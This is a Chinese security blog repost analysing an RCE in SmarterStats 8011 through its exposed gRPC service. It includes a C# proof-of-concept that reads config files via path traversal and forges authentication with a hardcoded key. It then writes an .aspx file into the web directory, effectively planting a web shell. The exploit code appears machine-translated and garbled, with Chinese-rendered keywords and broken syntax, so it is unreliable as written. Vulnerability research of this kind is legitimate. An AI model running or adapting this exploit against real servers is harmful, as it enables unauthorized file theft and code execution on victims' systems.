SmarterStat 基于 gRPC 的 RCE
2022-12-4 11:10:2 Author: LemonSec(查看原文) 阅读量:19 收藏

2016 8011版本,下载地址:https://downloads.smartertools.com/smarterstats/100.0.8011/SmarterStats_8011.exe

安装可以看官方的文档https://help.smartertools.com/smarterstats/current/topics/Installation/Installation.aspx

SSSvc.exe运行在50003端口上,默认监听0.0.0.0

拉到dnspy中看一下

main函数启动了一个SSCollect服务类。

服务类调用了ServiceWorker.StartService()

新一个处理函数ServiceLifetimeFunction

这里调了ServiceWorker.Start()

启动中调用GrpcManager.StartGrpc()开启监听gRPC。

继续看gRPC,在StartGrpc中,定义了四个服务

分别对应

  1. 查询 -> QueryServiceImplementation

  2. 站点列表 -> 站点列表服务实现

  3. ServiceOperations -> ServiceOperationsServiceImplementation

  4. 站点控制 -> 站点控制服务实现

并且端口绑定在0.0.0.0:50003上

顺便点开一个服务来看看 QueryServiceImplementation

服务运营服务实施

能看到grpc的远程调用函数实现。

先来试一下调用。创建一个csharp的grpc项目,可以直接用gRPC的example项目

Query.BindService(new QueryServiceImplementation()).Intercept(interceptor)的Query类中,给了我们rpc客户端的工具类

把这个代码dll加入引用中,然后如下。

这样就调用到了SStatSvc.Communication.QueryServiceImplementation.GetAvailableQueries(GetAvailableQueriesRequest, ServerCallContext)

下一个就是简单的寻找漏洞点了。

SStatSvc.Communication.ServiceOperationsServiceImplementation.GetExportedLogsForSite(GetExportedLogsForSiteRequest, IServerStreamWriter<GetExportedLogsForSiteResponse>, ServerCallContext)任意读取文件

这里需要关闭 dnspy 的编译优化查看具体逻辑

SStatSvc.Communication.ServiceOperationsServiceImplementation.SaveFileTo(SaveFileToRequest, ServerCallContext)

可选写入文件

加密密钥编码硬件,没用。

使用 Grpc.Core 使用 系统使用 System.Collections.Generic 使用 System.Linq 使用 System.Text 使用 System.Threading.Tasks 使用 SmarterStats.Config.Protos 使用 Google.Protobuf.WellKnownTypes 使用 SmarterStats.Config.Utility 使用 System.IO 使用 Google.Protobuf namespace Routeguide {
class Program
{
static async Task < int > Main ( string [] args )
{
var channel = new Channel ( "172.16.16.132:50003" , ChannelCredentials . Insecure );
服务运营ServiceOperationsClient 客户端 = 新的 ServiceOperations ServiceOperationsClient 通道);
GetExportedLogsForSiteRequest 请求 = 新的 GetExportedLogsForSiteRequest ();
请求FileToDownload = @"..\..\MRS\App_Data\Config\AppConfig.xml" ;
AsyncServerStreamingCall < GetExportedLogsForSiteResponse > asyncServerStreamingCall = 客户端GetExportedLogsForSite (请求);
等待 asyncServerStreamingCall。ResponseStream。MoveNext {控制台_ _ WriteLine ( asyncServerStreamingCall .

响应流当前. 数据ToStringUtf8 ());
}
SaveFileToRequest saveFileToRequest = new SaveFileToRequest ();
保存文件到请求文件名 = @"C:\Program Files (x86)\SmarterTools\SmarterStats\MRS\test.aspx" ;
CryptographyHelper cryptographyHelper = 新的 CryptographyHelper ( 0 );
时间戳 时间戳 = 时间戳FromDateTime (日期时间. UtcNow );
保存文件到请求创建日期 = 时间戳
保存文件到请求LastWriteDate = 时间戳
密码学助手SetKey ( saveFileToRequest . CreationDate . ToDateTime (). ToString ( "MMddyyyy" ) + " ksghsfkgjh" , null );
字符串 auth = cryptographyHelper EncodeToBase64 ( saveFileToRequest .文件名);
保存文件到请求身份验证 = 身份验证
保存文件到请求文件数据 = 字节串. CopyFromUtf8 文件。ReadAllText @“1.txt” ))客户端SaveFileTo ( saveFileToRequest ); 控制台WriteLine ( "写完。" ); 控制台读键();返回0 ; } } }

GetExportedLogsForSite文件并读取截取了文件名加了鉴权

SaveFileTo 文件写入限制了后缀白并且正则限制了路径

SmarterStats中为gRPC提供了一个ServiceOperations.ServiceOperationsClient类方便客户端调用,如果没有这个类我们应该怎么构造rpc协议?

wireshark抓包可以看到grpc的请求结构,包括uri、ua、params等,这个东西等我学了后来吧。

  1. https://frycos.github.io/vulns4free/2022/06/17/yet-another-rpc-framework.html

来源先知(https://xz.aliyun.com/t/11475#toc-0)

侵权请私聊公众号删文

 热文推荐  

欢迎关注LemonSec
觉得不错点个“赞”、“在看“

文章来源: http://mp.weixin.qq.com/s?__biz=MzUyMTA0MjQ4NA==&mid=2247538229&idx=3&sn=2b1b9d1f56cc3cc1a0a168d2eba38f33&chksm=f9e3396ece94b078e841fabdf47443f6e7eaa636ad28c4169d0810d1e9fe08df13cc9afa7fcd#rd
如有侵权请联系:admin#unsafe.sh